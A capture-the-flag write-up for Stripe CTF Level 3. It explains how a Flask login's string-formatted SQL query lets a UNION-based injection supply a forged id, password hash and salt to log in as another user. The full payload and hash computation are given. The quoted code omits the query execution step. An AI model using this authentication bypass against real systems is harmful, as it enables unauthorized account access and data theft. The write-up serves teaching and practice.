Stripe CTF: Level #3

Posted on ven. 26 octobre 2012 in Write-up


You can find the code for this level here.

(sha256: 8710c082daed1839806addebeda44c6e5496d44a33f7eb3f23a577b6a5fc26d5)

The company who built the vault of level 0 learned its lesson: you now have to identify before accessing your guarded secrets.

The company kindly tells you that other users have already chosen to use their product, and even what the stored secrets are.


Sorry for math and physics fan, but we'll focus on bob's secret.

So, let's look at the code used to identify users:

# File, line 74
def login():
    username = flask.request.form.get('username')
    password = flask.request.form.get('password')

    if not username:
        return "Must provide username\n"

    if not password:
        return "Must provide password\n"

    conn = sqlite3.connect(os.path.join(data_dir, 'users.db'))
    cursor = conn.cursor()

    query = """SELECT id, password_hash, salt FROM users
            WHERE username = '{0}' LIMIT 1""".format(username)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

    flask.session['user_id'] = user_id
    return flask.redirect(absolute_url('/'))

Wow. Hashed passwords, and even salt! Seems pretty secure. But the statements aren't prepared: they are vulnerable to SQL injection. We are gonna use a UNION statement, to force the id, the password's hash and the salt to be arbitrary values. We can see from the file that the default users were added in a random order, so we don't know what bob's id is. Since there are only three values, we can try each by hand. For the sake of simplicity, we'll suppose here that bob's id is 1.

So, let's say we put this as a user in the form:

dummy-user' UNION SELECT 1, 'hash', 'salt

The statement will become:

SELECT id, password_hash, salt FROM users WHERE username = 'dummy-user' UNION SELECT 1, 'hash', 'salt' LIMIT 1

This way, the first part of the statement will yield an empty row, and the second part will yield 1, 'hash', 'salt'. If we want to connect with the password 'foo', with the salt 'bar', we can compute the password's hash:

sha256('foobar') = c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2

We fill the form this way:

user = dummy-user' UNION SELECT 1, 'c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2', 'bar


password = foo


We just have to submit to retrieve bob's secret: